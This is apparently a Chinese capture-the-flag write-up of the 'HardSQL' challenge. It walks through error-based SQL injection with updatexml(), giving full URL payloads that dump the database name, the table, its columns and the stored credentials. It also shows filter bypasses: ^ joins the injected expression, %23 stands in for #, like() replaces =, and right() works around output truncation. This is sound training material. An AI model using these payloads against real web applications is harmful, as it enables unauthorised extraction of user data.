题目:[极客大挑战 2019]HardSQL 1
类型:SQL注入
一、判断注入类型
首先判断注入类型是字符型还是数字型
通过输入1'发现报错
再输入1'#时页面正常
在此判断为字符型注入
二、爆破数据库
在通过正常的方式去爆破数据时没有任何的回显,说明此时的常规方法已经没法攻击了,那就尝试报错注入。这里我采用的是updatexml()函数,同时需要注意连接函数的时候可以用^
构造payload爆破库
?username=1&password=1'^updatexml(1,concat(0x5c,database()),1)%23
解释构造的思路,首先updatexml的格式为updatexml(xml_document,xpath_string,new_value),那么一般的构造形式是updatexml(1,concat(0x7e,(sqli_inject),0x7e),1)。concat()函数是将两个字符串连接起来。0x7e与0x5c都是编码,分别为~和/,database()是爆破数据库,由于#被过滤了,利用编码进行绕过,最后成功爆破出数据库名geek
三、爆破数据表
构造payload
?username=1&password=1'^updatexml(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))),1)%23
因为=被过滤了所以利用模糊查询like去解决where的问题,得到表名H4rDsq1
四、爆破字段
?username=1&password=1'^updatexml(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1)%23
得到字段信息:
五、爆破值
?username=1&password=1'^updatexml(1,concat(0x5c,(select(group_concat(id,username,password))from(H4rDsq1))),1)%23
由于extractvalue和updatexml只显示32位字符,需要用right函数去爆破右边
?username=1&password=1'^updatexml(1,concat(0x5c,(select(group_concat(right(password,30)))from(H4rDsq1))),1)%23
总结:SQL注入的题一定要先找是什么类型的,同时找闭合的位置。其次当常规的注入不行时,要想到利用报错注入的方式去实现!